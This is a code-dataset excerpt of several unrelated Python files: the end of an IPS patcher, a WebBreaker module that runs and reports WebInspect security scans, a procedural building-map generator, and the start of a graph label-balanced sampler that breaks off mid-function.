parse_ips_file(patch_file.read_bytes())\n\n print(f\"Patching File '{input_file}'\")\n patched = patch(input_file.read_bytes(), patches)\n\n print(f\"Writing Output to '{output_file}'\")\n output_file.write_bytes(patched)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ravener/ips-patcher","sub_path":"ips.py","file_name":"ips.py","file_ext":"py","file_size_in_byte":2677,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39104356678","text":"#!/usr/bin/env python\n# -*-coding:utf-8-*-\n\n\nfrom contextlib import contextmanager\nfrom exitstatus import ExitStatus\nimport requests\nfrom signal import getsignal, SIGINT, SIGABRT,SIGTERM, signal\nfrom subprocess import CalledProcessError, check_output\nimport sys\nimport time\nimport urllib3\nimport os\nimport random\nimport string\nimport xml.etree.ElementTree as ElementTree\nimport re\nfrom datetime import datetime\nimport json\n\nfrom webbreaker.common.confighelper import Config\nfrom webbreaker.common.webbreakerhelper import WebBreakerHelper\nfrom webbreaker.common.webbreakerlogger import Logger\nfrom webbreaker.common.webbreakerconfig import trim_ext\nfrom webbreaker.webinspect.authentication import WebInspectAuth\nfrom webbreaker.webinspect.common.helper import WebInspectAPIHelper\nfrom webbreaker.webinspect.common.loghelper import WebInspectLogHelper\nfrom webbreaker.webinspect.jit_scheduler import WebInspectJitScheduler\nfrom webbreaker.webinspect.webinspect_config import WebInspectConfig\n\nwebinspectloghelper = WebInspectLogHelper()\n\ntry:\n from git.exc import GitCommandError\nexcept (ImportError, AttributeError) as e: # module will fail if git is not installed\n Logger.app.error(\"Please install the git client or add it to your PATH variable ->\"\n \" https://git-scm.com/download. See log {}!!!\".format\n (Logger.app_logfile, e.message))\n\ntry:\n import urlparse as urlparse\nexcept ImportError:\n from urllib.parse import urlparse\n\n\ntry: # python 2\n requests.packages.urllib3.disable_warnings()\nexcept (ImportError, AttributeError): # Python3\n urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\ntry:\n import xml.etree.cElementTree as ET\nexcept ImportError:\n import xml.etree.ElementTree as ET\n\n\nclass WebInspectScan:\n def __init__(self, cli_overrides):\n # keep track on when the scan starts\n self.start_time = self._get_time()\n\n # used for multi threading the _is_available API call\n self.config = WebInspectConfig()\n\n # handle all the overrides\n if 'git' not in cli_overrides: # it shouldn't be in the overrides, but here for potential future support of cli passed git paths\n cli_overrides['git'] = Config().git\n\n self._webinspect_git_clone(cli_overrides['settings'])\n\n self.scan_overrides = ScanOverrides(cli_overrides)\n\n # run the scan\n self.scan()\n\n def scan(self):\n \"\"\"\n Start a scan for webinspect. It is multithreaded in that it uses a thread to handle checking on the scan status\n and a queue in the main execution to wait for a repsonse from the thread.\n :return:\n \"\"\"\n\n # handle the authentication\n auth_config = WebInspectAuth()\n username, password = auth_config.authenticate(self.scan_overrides.username, self.scan_overrides.password)\n\n self._set_api(username=username, password=password)\n\n # abstract out a bunch of conditional uploads\n self._upload_settings_and_policies()\n\n try:\n Logger.app.debug(\"Running WebInspect Scan\")\n self.scan_id = self.webinspect_api.create_scan()\n\n # context manager to handle interrupts properly\n with self._termination_event_handler():\n self._scan()\n\n except (requests.exceptions.ConnectionError, requests.exceptions.HTTPError) as e:\n webinspectloghelper.log_error_scan_start_failed(e)\n sys.exit(ExitStatus.failure)\n\n Logger.app.debug(\"WebInspect Scan Complete.\")\n\n # If we've made it this far, our new credentials are valid and should be saved\n if username is not None and password is not None and not auth_config.has_auth_creds():\n auth_config.write_credentials(username, password)\n\n #parse through xml file after scan\n try:\n file_name = self.scan_overrides.scan_name + '.xml'\n self.xml_parsing(file_name)\n except IOError as e:\n webinspectloghelper.log_error_failed_scan_export(e)\n\n def xml_parsing(self, file_name):\n \"\"\"\n if scan complete, open and parse through the xml file and output , , , in console\n :return: JSON file\n \"\"\"\n tree = ET.ElementTree(file=file_name)\n root = tree.getroot()\n\n vulnerabilities = Vulnerabilities()\n\n for elem in root.findall('Session'):\n vulnerability = Vulnerability()\n vulnerability.payload_url = elem.find('URL').text\n\n # This line should be: for issue in elem.iter(tag='Issue'):\n # But because of a bug in python 2 it has to be this way.\n # https://stackoverflow.com/questions/29695794/typeerror-iter-takes-no-keyword-arguments\n for issue in elem.iter('Issue'):\n vulnerability.vulnerability_name = issue.find('Name').text\n vulnerability.severity = issue.find('Severity').text\n vulnerability.webinspect_id = issue.attrib\n\n vulnerability.cwe = []\n for cwe in issue.iter('Classification'):\n vulnerability.cwe.append(cwe.text)\n\n vulnerabilities.add(vulnerability)\n\n\n Logger.app.info(\"Exporting scan: {0} as {1}\".format(self.scan_id, 'json'))\n Logger.app.info(\"Scan results file is available: {0}{1}\".format(self.scan_overrides.scan_name, '.json'))\n\n # keep track on when the scan ends\n end_time = self._get_time()\n\n vulnerabilities.write_to_console(self.scan_overrides.scan_name)\n vulnerabilities.write_to_json(file_name, self.scan_overrides.scan_name, self.scan_id, self.start_time, end_time)\n\n Logger.app.info(\"Scan start time: {}\".format(self.start_time))\n Logger.app.info(\"Scan end time: {}\".format(end_time))\n\n def _get_time(self):\n return datetime.utcfromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S')\n\n def _set_api(self, username, password):\n \"\"\"\n created so I could mock this functionality better. It sets up the webinspect api\n :param username:\n :param password:\n :return:\n \"\"\"\n self.webinspect_api = WebInspectAPIHelper(username=username, password=password,\n webinspect_setting_overrides=self.scan_overrides)\n\n def _upload_settings_and_policies(self):\n \"\"\"\n upload any settings, policies or macros that need to be uploaded\n :return:\n \"\"\"\n\n # if a scan policy has been specified, we need to make sure we can find/use it on the server\n self.webinspect_api.verify_scan_policy(self.config)\n\n # Upload whatever overrides have been provided, skipped unless explicitly declared\n if self.webinspect_api.setting_overrides.webinspect_upload_settings:\n self.webinspect_api.upload_settings()\n\n if self.webinspect_api.setting_overrides.webinspect_upload_webmacros:\n self.webinspect_api.upload_webmacros()\n\n # if there was a provided scan policy, we've already uploaded so don't bother doing it again.\n if self.webinspect_api.setting_overrides.webinspect_upload_policy and not self.webinspect_api.setting_overrides.scan_policy:\n self.webinspect_api.upload_policy()\n\n def _scan(self, delay=2):\n \"\"\"\n If it returns complete we are\n happy and download the results files. If we enter NotRunning then something has gone wrong and we want to\n exit with a failure.\n :param scan_id: the id on the webinspect server for the running scan\n :param delay: time between calls to Webinspect server\n :return: no return but upon completion sends a \"complete\" message back to the queue that is waiting for it.\n \"\"\"\n # self.webinspect_server = self.webinspect_api.setting_overrides.endpoint\n self.webinspect_api.host = self.webinspect_api.setting_overrides.endpoint\n\n scan_complete = False\n while not scan_complete:\n current_status = self.webinspect_api.get_scan_status(self.scan_id)\n\n try:\n # Happy path - we completed our scan\n if current_status.lower() == 'complete':\n # Now let's download or export the scan artifact in two formats\n self.webinspect_api.export_scan_results(self.scan_id, 'fpr')\n self.webinspect_api.export_scan_results(self.scan_id, 'xml')\n return\n # TODO add json export\n\n # The scan can sometimes go from running to not running and that is not what we want.\n elif current_status.lower() == 'notrunning':\n webinspectloghelper.log_error_not_running_scan()\n self._stop_scan(self.scan_id)\n sys.exit(ExitStatus.failure)\n\n # This is interesting behavior and we want to log it.\n # It should never be in a state besides Running, NotRunning and Complete.\n elif current_status.lower() != \"running\":\n webinspectloghelper.log_error_scan_in_weird_state(scan_name=self.scan_id, state=current_status)\n sys.exit(ExitStatus.failure)\n time.sleep(delay)\n\n # Sometimes we are not able to get current_status and it is a None response.\n except AttributeError as e:\n webinspectloghelper.log_error_unrecoverable_scan(current_status, e)\n sys.exit(ExitStatus.failure)\n\n def _stop_scan(self, scan_id):\n self.webinspect_api.stop_scan(scan_id)\n\n # below functions are for handling someone forcefully ending webbreaker.\n def _exit_scan_gracefully(self, *args):\n \"\"\"\n called when someone ctl+c's - sends an api call to end the running scan.\n :param args:\n :return:\n \"\"\"\n Logger.app.info(\"Aborting!\")\n self.webinspect_api.stop_scan(self.scan_id)\n sys.exit(ExitStatus.failure)\n\n @contextmanager\n def _termination_event_handler(self):\n \"\"\"\n meant to handle termination events (ctr+c and more) so that we call scan_end(scan_id) if a user decides to end the\n scan.\n :return:\n \"\"\"\n # Intercept the \"please terminate\" signals\n original_sigint_handler = getsignal(SIGINT)\n original_sigabrt_handler = getsignal(SIGABRT)\n original_sigterm_handler = getsignal(SIGTERM)\n for sig in (SIGABRT, SIGINT, SIGTERM):\n signal(sig, self._exit_scan_gracefully)\n\n yield # needed for context manager\n\n # Go back to normal signal handling\n signal(SIGABRT, original_sigabrt_handler)\n signal(SIGINT, original_sigint_handler)\n signal(SIGTERM, original_sigterm_handler)\n\n def _webinspect_git_clone(self, cli_settings):\n \"\"\"\n If local file exist, it will use that file. If not, it will go to github and clone the config files\n :return:\n \"\"\"\n try:\n config_helper = Config()\n etc_dir = config_helper.etc\n git_dir = os.path.join(config_helper.git, '.git')\n try:\n if cli_settings == 'Default':\n webinspectloghelper.log_info_default_settings()\n\n elif os.path.exists(git_dir):\n webinspectloghelper.log_info_updating_webinspect_configurations(etc_dir)\n\n check_output(['git', 'init', etc_dir])\n check_output(\n ['git', '--git-dir=' + git_dir, '--work-tree=' + str(config_helper.git), 'reset', '--hard'])\n check_output(\n ['git', '--git-dir=' + git_dir, '--work-tree=' + str(config_helper.git), 'pull', '--rebase'])\n sys.stdout.flush()\n elif not os.path.exists(git_dir):\n webinspectloghelper.log_info_webinspect_git_clonning(config_helper.git)\n check_output(['git', 'clone', self.config.webinspect_git, config_helper.git])\n\n else:\n Logger.app.error(\n \"No GIT Repo was declared in your config.ini, therefore nothing will be cloned!\")\n except (CalledProcessError, AttributeError) as e:\n webinspectloghelper.log_webinspect_config_issue(e)\n raise\n except GitCommandError as e:\n webinspectloghelper.log_git_access_error(self.config.webinspect_git, e)\n sys.exit(ExitStatus.failure)\n\n except IndexError as e:\n webinspectloghelper.log_config_file_unavailable(e)\n sys.exit(ExitStatus.failure)\n\n Logger.app.debug(\"Completed webinspect config fetch\")\n \n except TypeError as e:\n webinspectloghelper.log_error_git_cloning_error(e)\n\n\nclass ScanOverrides:\n \"\"\"\n This class is meant to handle all the ugliness that is webinspect scan optional arguments overrides.\n \"\"\"\n def __init__(self, override_dict):\n try:\n\n # used in some of the parse_overrides functions\n self.webinspect_dir = override_dict['git']\n\n self.username = override_dict['username']\n self.password = override_dict['password']\n\n self.settings = override_dict['settings']\n self.scan_name = override_dict['scan_name']\n # Deprecate these click options\n self.webinspect_upload_settings = override_dict['upload_settings']\n self.webinspect_upload_policy = override_dict['upload_policy']\n self.webinspect_upload_webmacros = override_dict['upload_webmacros']\n # end deprecation\n self.scan_mode = override_dict['scan_mode']\n self.scan_scope = override_dict['scan_scope']\n self.login_macro = override_dict['login_macro']\n self.scan_policy = override_dict['scan_policy']\n self.scan_start = override_dict['scan_start']\n self.scan_size = override_dict['size']\n self.fortify_user = override_dict['fortify_user']\n self.targets = None # to be set in a parse function\n\n # need to convert tuple to list\n self.start_urls = list(override_dict['start_urls'])\n self.workflow_macros = list(override_dict['workflow_macros'])\n self.allowed_hosts = list(override_dict['allowed_hosts'])\n\n self.endpoint = self.get_endpoint()\n self.runenv = WebBreakerHelper.check_run_env()\n\n # prepare the options\n self._parse_webinspect_overrides()\n\n Logger.app.debug(\"Completed webinspect client initialization\")\n Logger.app.debug(\"url: {}\".format(self.endpoint))\n Logger.app.debug(\"settings: {}\".format(self.settings))\n Logger.app.debug(\"scan_name: {}\".format(self.scan_name))\n Logger.app.debug(\"upload_settings: {}\".format(self.webinspect_upload_settings))\n Logger.app.debug(\"upload_policy: {}\".format(self.webinspect_upload_policy))\n Logger.app.debug(\"upload_webmacros: {}\".format(self.webinspect_upload_webmacros))\n Logger.app.debug(\"workflow_macros: {}\".format(self.workflow_macros))\n Logger.app.debug(\"allowed_hosts: {}\".format(self.allowed_hosts))\n Logger.app.debug(\"scan_mode: {}\".format(self.scan_mode))\n Logger.app.debug(\"scan_scope: {}\".format(self.scan_scope))\n Logger.app.debug(\"login_macro: {}\".format(self.login_macro))\n Logger.app.debug(\"scan_policy: {}\".format(self.scan_policy))\n Logger.app.debug(\"scan_start: {}\".format(self.scan_start))\n Logger.app.debug(\"start_urls: {}\".format(self.start_urls))\n Logger.app.debug(\"fortify_user: {}\".format(self.fortify_user))\n except (EnvironmentError, TypeError) as e:\n webinspectloghelper.log_error_scan_overrides_parsing_error(e)\n sys.exit(ExitStatus.failure)\n\n def get_formatted_overrides(self):\n \"\"\"\n Prepares the ScanOverrides object to be passed to the webinspect api as a dictionary.\n :return: a dictionary of webinspect scan overrides\n \"\"\"\n settings_dict = {}\n\n # prepares the return value for use in api call.\n settings_dict['webinspect_settings'] = self.settings\n settings_dict['webinspect_scan_name'] = self.scan_name\n settings_dict['webinspect_upload_settings'] = self.webinspect_upload_settings\n settings_dict['webinspect_upload_policy'] = self.webinspect_upload_policy\n settings_dict['webinspect_upload_webmacros'] = self.webinspect_upload_webmacros\n settings_dict['webinspect_overrides_scan_mode'] = self.scan_mode\n settings_dict['webinspect_overrides_scan_scope'] = self.scan_scope\n settings_dict['webinspect_overrides_login_macro'] = self.login_macro\n settings_dict['webinspect_overrides_scan_policy'] = self.scan_policy\n settings_dict['webinspect_overrides_scan_start'] = self.scan_start\n settings_dict['webinspect_overrides_start_urls'] = self.start_urls\n settings_dict['webinspect_scan_targets'] = self.targets\n settings_dict['webinspect_workflow_macros'] = self.workflow_macros\n settings_dict['webinspect_allowed_hosts'] = self.allowed_hosts\n settings_dict['webinspect_scan_size'] = self.scan_size\n settings_dict['fortify_user'] = self.fortify_user\n\n return settings_dict\n\n def _parse_webinspect_overrides(self):\n \"\"\"\n The purpose is to go through and handle all the different optional arguments. The flow is that there is a\n self.options and we manipulate it in each of the functions.\n :return:\n \"\"\"\n try:\n\n # trim extensions off the options.\n self._trim_overrides()\n\n # name the scan\n self._parse_scan_name_overrides()\n\n # parse and trim .xml\n self._parse_upload_settings_overrides()\n\n # if login macro has been specified, ensure it's uploaded.\n self._parse_login_macro_overrides()\n\n # if workflow macros have been provided, ensure they are uploaded\n self._parse_workflow_macros_overrides()\n\n # parse and trim .webmacros\n self._parse_upload_webmacros_overrides()\n\n # if upload_policy provided explicitly, follow that. otherwise, default to scan_policy if provided\n self._parse_upload_policy_overrides()\n\n # Determine the targets specified in a settings file\n self._parse_upload_settings_overrides_for_scan_target()\n\n # Unless explicitly stated --allowed_hosts by default will use all values from --start_urls\n self._parse_assigned_hosts_overrides()\n\n except (AttributeError, UnboundLocalError, KeyError) as e:\n Logger.app.error(\"{}\".format(e))\n # webinspectloghelper.log_configuration_incorrect(Logger.app_logfile)\n # raise\n\n Logger.app.debug(\"Completed webinspect settings parse\")\n\n def _parse_scan_name_overrides(self):\n \"\"\"\n Use self.options and depending on the run environment name the scan.\n Jenkins - either BUILD_TAG or JOB_NAME\n Others - webinspect-[5 random ascii characters]\n \"\"\"\n if self.scan_name is None: # no cli passed scan_name\n if self.runenv == \"jenkins\":\n if \"/\" in os.getenv(\"JOB_NAME\"):\n self.scan_name = os.getenv(\"BUILD_TAG\")\n else:\n self.scan_name = os.getenv(\"JOB_NAME\")\n else:\n self.scan_name = \"webinspect\" + \"-\" + \"\".join(\n random.choice(string.ascii_uppercase + string.digits) for _ in range(5))\n\n def _parse_upload_settings_overrides(self):\n \"\"\"\n Check for a .xml settings file. Relative path for files are okay\n This function will then trim .xml. If file exist, upload to the server. Else raise an error.\n All webInspect server come with a Default.xml settings file\n :return:\n \"\"\"\n # if cli supplied upload_settings\n if self.webinspect_upload_settings:\n # if the settings file is provided and is a file - add an xml file extension...\n # more or less a quality of life thing for the cli.\n if os.path.isfile(self.webinspect_upload_settings + '.xml'):\n self.webinspect_upload_settings = self.webinspect_upload_settings + '.xml'\n\n if os.path.isfile(self.webinspect_upload_settings):\n self.upload_scan_settings = self.webinspect_upload_settings\n else:\n try:\n self.upload_scan_settings = os.path.join(self.webinspect_dir,\n 'settings',\n self.webinspect_upload_settings + '.xml')\n except (AttributeError, TypeError) as e:\n webinspectloghelper.log_error_settings(self.webinspect_upload_settings, e)\n\n else:\n # if the settings file is provided and is a file - add an xml file extension...\n # more or less a quality of life thing for the cli.\n if os.path.isfile(self.settings + '.xml'):\n self.settings = self.settings + '.xml'\n\n # if it is not a file and it is not Default\n if not os.path.isfile(self.settings) and self.settings != 'Default':\n\n self.webinspect_upload_settings = os.path.join(self.webinspect_dir,\n 'settings',\n self.settings + '.xml')\n # it is using the default settings file\n elif self.settings == 'Default':\n # All WebInspect servers come with a Default.xml settings file, no need to upload it\n self.webinspect_upload_settings = None\n # it is a file and not using the default\n else:\n self.webinspect_upload_settings = self.settings\n # grab everything but .xml\n self.settings = re.search('(.*)\\.xml', self.settings).group(1)\n\n def _parse_login_macro_overrides(self):\n \"\"\"\n # if login macro has been specified, ensure it's uploaded.\n :return:\n \"\"\"\n if self.login_macro:\n if self.webinspect_upload_webmacros:\n # add macro to existing list.\n self.webinspect_upload_webmacros.append(self.login_macro)\n else:\n # add macro to new list\n self.webinspect_upload_webmacros = []\n self.webinspect_upload_webmacros.append(self.login_macro)\n\n def _parse_workflow_macros_overrides(self):\n \"\"\"\n # if workflow macros have been provided, ensure they are uploaded\n :return:\n \"\"\"\n if self.workflow_macros:\n if self.webinspect_upload_webmacros:\n # add macros to existing list\n self.webinspect_upload_webmacros.extend(self.workflow_macros)\n else:\n # add macro to new list\n self.webinspect_upload_webmacros = list(self.workflow_macros)\n\n # TODO does this work?\n def _parse_upload_webmacros_overrides(self):\n \"\"\"\n Check and vaildate for a .webmacro settings file. Relative paths for files are okay\n This function will then trim .webmacro off, if file exist then upload to server, otherwise raise an error\n :return:\n \"\"\"\n if self.webinspect_upload_webmacros:\n try:\n # trying to be clever, remove any duplicates from our upload list\n self.webinspect_upload_webmacros = list(set(self.webinspect_upload_webmacros))\n corrected_paths = []\n # add .webmacro and verify it is a file\n for webmacro in self.webinspect_upload_webmacros:\n if os.path.isfile(webmacro + '.webmacro'):\n webmacro = webmacro + '.webmacro'\n if not os.path.isfile(webmacro):\n corrected_paths.append(os.path.join(self.webinspect_dir,\n 'webmacros',\n webmacro + '.webmacro'))\n else:\n corrected_paths.append(webmacro)\n self.webinspect_upload_webmacros = corrected_paths\n\n except (AttributeError, TypeError) as e:\n webinspectloghelper.log_error_settings(self.webinspect_upload_webmacros, e)\n\n # TODO does this work?\n def _parse_upload_policy_overrides(self):\n \"\"\"\n # if upload_policy provided explicitly, follow that. otherwise, default to scan_policy if provided\n :return:\n \"\"\"\n try:\n if self.webinspect_upload_policy:\n if os.path.isfile(self.webinspect_upload_policy + '.policy'):\n self.webinspect_upload_policy = self.webinspect_upload_policy + '.policy'\n if not os.path.isfile(self.webinspect_upload_policy):\n self.webinspect_upload_policy = os.path.join(self.webinspect_dir, 'policies',\n self.webinspect_upload_policy + '.policy')\n\n elif self.scan_policy:\n if os.path.isfile(self.scan_policy + '.policy'):\n self.scan_policy = self.scan_policy + '.policy'\n if not os.path.isfile(self.scan_policy):\n self.webinspect_upload_policy = os.path.join(self.webinspect_dir, 'policies',\n self.scan_policy + '.policy')\n else:\n self.webinspect_upload_policy = self.scan_policy\n\n except TypeError as e:\n webinspectloghelper.log_error_scan_policy(e)\n\n def _parse_upload_settings_overrides_for_scan_target(self):\n \"\"\"\n # Determine the targets specified in a settings file\n :return:\n \"\"\"\n try:\n if self.webinspect_upload_settings:\n\n self.targets = self._get_scan_targets(self.webinspect_upload_settings)\n else:\n self.targets = None\n except NameError as e:\n webinspectloghelper.log_no_settings_file(e)\n sys.exit(ExitStatus.failure)\n\n def _parse_assigned_hosts_overrides(self):\n \"\"\"\n # Unless explicitly stated --allowed_hosts by default will use all values from --start_urls\n :return:\n \"\"\"\n if not self.allowed_hosts:\n self.allowed_hosts = self.start_urls\n\n def get_endpoint(self):\n # TODO this needs to be abstracted back to the jit scheduler class - left in due to time considerations\n jit_scheduler = WebInspectJitScheduler(server_size_needed=self.scan_size, username=self.username,\n password=self.password)\n Logger.app.info(\"Querying WebInspect servers for availability.\")\n\n endpoint = jit_scheduler.get_endpoint()\n return endpoint\n\n\n def _trim_overrides(self):\n \"\"\"\n strips off the extension from some of the overrides\n \"\"\"\n # Trim .xml\n self.settings = trim_ext(self.settings)\n self.webinspect_upload_settings = trim_ext(self.webinspect_upload_settings)\n\n # Trim .webmacro\n self.webinspect_upload_webmacros = trim_ext(self.webinspect_upload_webmacros)\n self.workflow_macros = trim_ext(self.workflow_macros)\n self.login_macro = trim_ext(self.login_macro)\n\n # Trim .policy\n self.webinspect_upload_policy = trim_ext(self.webinspect_upload_policy)\n self.scan_policy = trim_ext(self.scan_policy)\n\n @staticmethod\n def _get_scan_targets(settings_file_path):\n \"\"\"\n Given a settings file at the provided path, return a set containing\n the targets for the scan.\n :param settings_file_path: Path to WebInspect settings file\n :return: unordered set of targets\n \"\"\"\n # TODO: Validate settings_file_path\n targets = set()\n try:\n tree = ElementTree.parse(settings_file_path)\n root = tree.getroot()\n for target in root.findall(\"xmlns:HostFolderRules/\"\n \"xmlns:List/\"\n \"xmlns:HostFolderRuleData/\"\n \"xmlns:HostMatch/\"\n \"xmlns:List/\"\n \"xmlns:LookupList/\"\n \"xmlns:string\",\n namespaces={'xmlns': 'http://spidynamics.com/schemas/scanner/1.0'}):\n targets.add(target.text)\n except FileNotFoundError:\n Logger.app.error(\"Unable to read the settings file {0}\".format(settings_file_path))\n sys.exit(ExitStatus.failure)\n except ElementTree.ParseError:\n Logger.app.error(\"Settings file is not configured properly\")\n sys.exit(ExitStatus.failure)\n return targets\n\n\nclass Vulnerability:\n def __init__(self, payload_url=None, severity=None, vulnerability_name=None, webinspect_id=None, cwe=None):\n self.payload_url = payload_url\n self.severity = severity\n self.vulnerability_name = vulnerability_name\n self.webinspect_id = webinspect_id\n self.cwe = cwe\n\n def json_output(self):\n return {'webinspect_id': self.webinspect_id, 'payload_url': self.payload_url,\n 'severity': self.severity, 'vulnerability_name': self.vulnerability_name, 'cwe': self.cwe}\n\n def console_output(self):\n # in order for pretty printing - self.cwe can is a list and we want the first element in the same line with the following elements printed\n # nicely afterwards.\n print(\"\\n{0:60} {1:10} {2:40} {3:100} \".format(self.payload_url, self.severity, self.vulnerability_name, self.cwe[0]))\n for cwe in self.cwe[1:-1]:\n print(\"{0:112} {1:100}\".format(' '*112, cwe))\n\n\nclass Vulnerabilities:\n def __init__(self):\n self.vulnerabilities_list = []\n\n def add(self, vuln):\n self.vulnerabilities_list.append(vuln)\n\n def write_to_console(self, scan_name):\n # write the header\n print(\"\\nWebbreaker WebInpsect scan {} results:\\n\".format(scan_name))\n print(\"\\n{0:60} {1:10} {2:40} {3:100}\".format('Payload URL', 'Severity', 'Vulnerability', 'CWE'))\n print(\"{0:60} {1:10} {2:40} {3:100}\\n\".format('-' * 60, '-' * 10, '-' * 40, '-' * 90))\n\n # write the body of the table\n for vuln in self.vulnerabilities_list:\n vuln.console_output()\n\n def write_to_json(self, file_name, scan_name, scan_id, start_time, end_time):\n with open(scan_name + '.json', 'a') as fp:\n # kinda ugly - adds the things to the json that we want.\n fp.write('{ \"scan_start_time\" : \"' + start_time + '\", \"scan_end_time\" : \"' + end_time +\n '\", \"scan_name\" : \"' + scan_name + '\", \"scan_id\" : \"' + scan_id + '\", \"findings\" : [')\n\n for vuln in self.vulnerabilities_list:\n\n json.dump(vuln.json_output(), fp)\n # if element is not last we want to write a ,\n if vuln is not self.vulnerabilities_list[-1]:\n fp.write(\",\")\n\n # if no vulnerabilities were found want to still have a valid json so add {}\n if len(self.vulnerabilities_list) == 0:\n fp.write(\"{}\")\n\n fp.write(\"] }\")\n","repo_name":"vanbenschoten/webbreaker","sub_path":"webbreaker/webinspect/scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":31939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"36183422992","text":"import random\n\n\nclass BuildingsMaker():\n \n def __init__(self, w, h):\n self.width = w\n self.height = h\n \n self.layout = []\n self.layout = [[0 for x in range(w)] for y in range(h)] \n \n #self.region_map = [[0 for x in range(w)] for y in range(h)] \n #self.total_regions = 0 \n #self.largest_region = 0\n #self.max_region = 0 \n \n self.des_coverage = 0.9\n \n \n \n def get_coverage(self):\n size = self.width * self.height\n w = (self.width*2) + (self.height*2)\n counter = 0 - w\n for y in range(self.height):\n for x in range(self.width):\n if self.layout[y][x] == 1:\n counter += 1\n \n return counter / size\n \n def return_buildings(self):\n return self.layout\n \n def generate_walls(self):\n for x in range(self.width):\n self.layout[0][x] = 1\n self.layout[self.height-1][x] = 1\n for y in range(self.height):\n self.layout[y][0] = 1\n self.layout[y][self.width-1] = 1\n \n #phase 2\n \n def create_array(self, xsize, ysize, thick):\n arr = [[0 for x in range(xsize)] for y in range(ysize)]\n if thick < 50:\n for x in range(xsize):\n arr[0][x] = 1\n for y in range(ysize):\n arr[y][0] = 1\n else:\n for x in range(xsize):\n arr[0][x] = 1\n if ysize >= 1:\n arr[1][x] = 1\n for y in range(ysize):\n arr[y][0] = 1 \n if xsize >= 1:\n arr[y][1] = 1\n return arr\n \n \n def rotate_array(self, arr):\n output = []\n h = len(arr)\n w = len(arr[0])\n for row in range(w):\n newrow = []\n for col in range(h):\n newrow.append(arr[h - 1 - col][row])\n output.append(newrow)\n return output\n \n def build_map(self, desired):\n \n self.generate_walls()\n current = self.get_coverage()\n \n while current < desired:\n self.place_building()\n current = self.get_coverage()\n #print(str(current))\n \n #self.process_regions()\n\n #if self.total_regions > 1:\n #print(\"MORE\")\n \n def place_building(self):\n \n arr_w = random.randrange(2, 8)\n arr_h = random.randrange(2, 8)\n\n #end_x = min(startx + arr_w, \n #end_y = starty + arr_h\n #print(str(end_y) + \"_\" + str(end_x))\n\n arr = self.create_array(arr_w,arr_h, random.randrange(1,101))\n \n times_rotation = random.randrange(4)\n for i in range(times_rotation):\n arr = self.rotate_array(arr)\n \n startx = min(random.randrange(3, self.width - 3), self.width - len(arr[0]) - 4)\n starty = min(random.randrange(3, self.height - 3), self.height - len(arr) -4) \n \n for y in range(len(arr)):\n for x in range(len(arr[0])):\n xp = x + startx\n yp = y + starty\n if arr[y][x] == 1:\n self.layout[yp][xp] = 1\n\n \n #self.print_arr(arr)\n \n \n def get_walls(self):\n retlist = []\n for y in range(self.height):\n for x in range(self.width):\n if self.layout[y][x] == 1:\n t = (x, y)\n retlist.append(t) \n return retlist \n \n def process_regions(self):\n grid = square_grid.SquareGrid(self.width,self.height)\n grid.walls = self.get_walls()\n self.total_regions += 1\n max_count = 0\n largest = 0\n for y in range(self.height):\n for x in range(self.width):\n if self.region_map[y][x] == 0 and self.layout[y][x] == 0:\n self.region_map[y][x] = self.total_regions\n start = (x,y)\n size_region = self.set_regions(grid, start, self.total_regions)\n if size_region > largest:\n largest = size_region\n max_count = self.total_regions\n self.total_regions += 1\n self.print_arr(self.region_map) \n return max_count \n \n def set_regions(self, graph, start, cur_reg):\n frontier = my_queue.MyQueue()\n frontier.put(start)\n came_from = {}\n came_from[start] = None\n \n while not frontier.empty():\n current = frontier.get()\n for next in graph.neighbours(current):\n if next not in came_from:\n xp = next[0]\n yp = next[1]\n self.region_map[yp][xp] = cur_reg\n frontier.put(next)\n came_from[next] = current\n \n return len(came_from)\n \n \n def print_arr(self, a):\n s = \"\"\n for y in range(len(a)):\n for x in range(len(a[0])):\n s += str(a[y][x])\n s += \"\\n\" \n print(s)\n \n def print_map(self):\n s = \"\"\n for y in range(self.height):\n for x in range(self.width):\n s += str(self.layout[y][x])\n s += \"\\n\"\n \n s += \"\\n\"\n s += \"\\n\"\n print(s) \n \n \n#b = BuildingsMaker(160,82)\n##a = b.create_array(12,5)\n#b.build_map(0.1)\n#b.print_map()\n##t = b.process_regions()","repo_name":"Grufferz/wizards-of-twiddly","sub_path":"wizards/building_maker.py","file_name":"building_maker.py","file_ext":"py","file_size_in_byte":5653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7024086488","text":"from collections import Counter\nimport sys\nimport torch\nfrom tqdm import tqdm\nimport numpy as np\nfrom scipy.sparse import csr_matrix\n\n\nclass LabelBalancedSampler:\n\n def __init__(self, A: np.array, labels: np.array):\n \"\"\"Label Balanced Sampler object to pick phase.\n Args:\n A (np.array): 2D array graph adjacency matrix.\n labels (np.array): 1D array label vector for each node in the graph.\n \"\"\"\n\n self.A = A\n self.n = A.shape[0]\n self.D = self._calculate_D()\n self.A_hat = self._calculate_A_hat()\n\n self.labels = labels.tolist()\n self.labels_frequency = Counter(self.labels)\n\n def _calculate_D(self) -> np.array:\n \"\"\"Calculates D, which is a diagonal matrix with degree of each node as its element.\n Returns:\n np.array: Diagonal matrix of the graph.\n \"\"\"\n \n row = np.arange(0, self.n)\n col = np.arange(0, self.n)\n data = np.asarray(self.A.sum(axis=1)).flatten().astype(float)\n # self.zero_in_deg_mask = (data == 0)\n data[np.where(data == 0)] = 0.001\n D = csr_matrix((data, (row, col)), shape = (self.n, self.n)).tocoo()\n return D\n\n def _calculate_A_hat(self) -> np.array:\n \"\"\"Calculated A_hat, which is the normalized adjancency matrix.\n Returns:\n np.array: A_hat matrix.\n \"\"\"\n \n row = np.arange(0, self.n)\n col = np.arange(0, self.n)\n data = 1 / np.sqrt(self.D.data)\n D_sqrt_inverse = csr_matrix((data, (row, col)), shape = (self.n, self.n)).tocoo()\n A_hat = (D_sqrt_inverse @ self.A @ D_sqrt_inverse).tocoo()\n return A_hat\n\n def _node_label_frequency(self):\n node_label_count = np.array([self.labels_frequency[self.labels[i]] for i in range(self.n)])\n return node_label_count\n\n def calculate_P(self, node_idx: int) -> float:\n prob = np.linalg.norm(self.A_hat.getcol(node_idx).data, ord=2) / 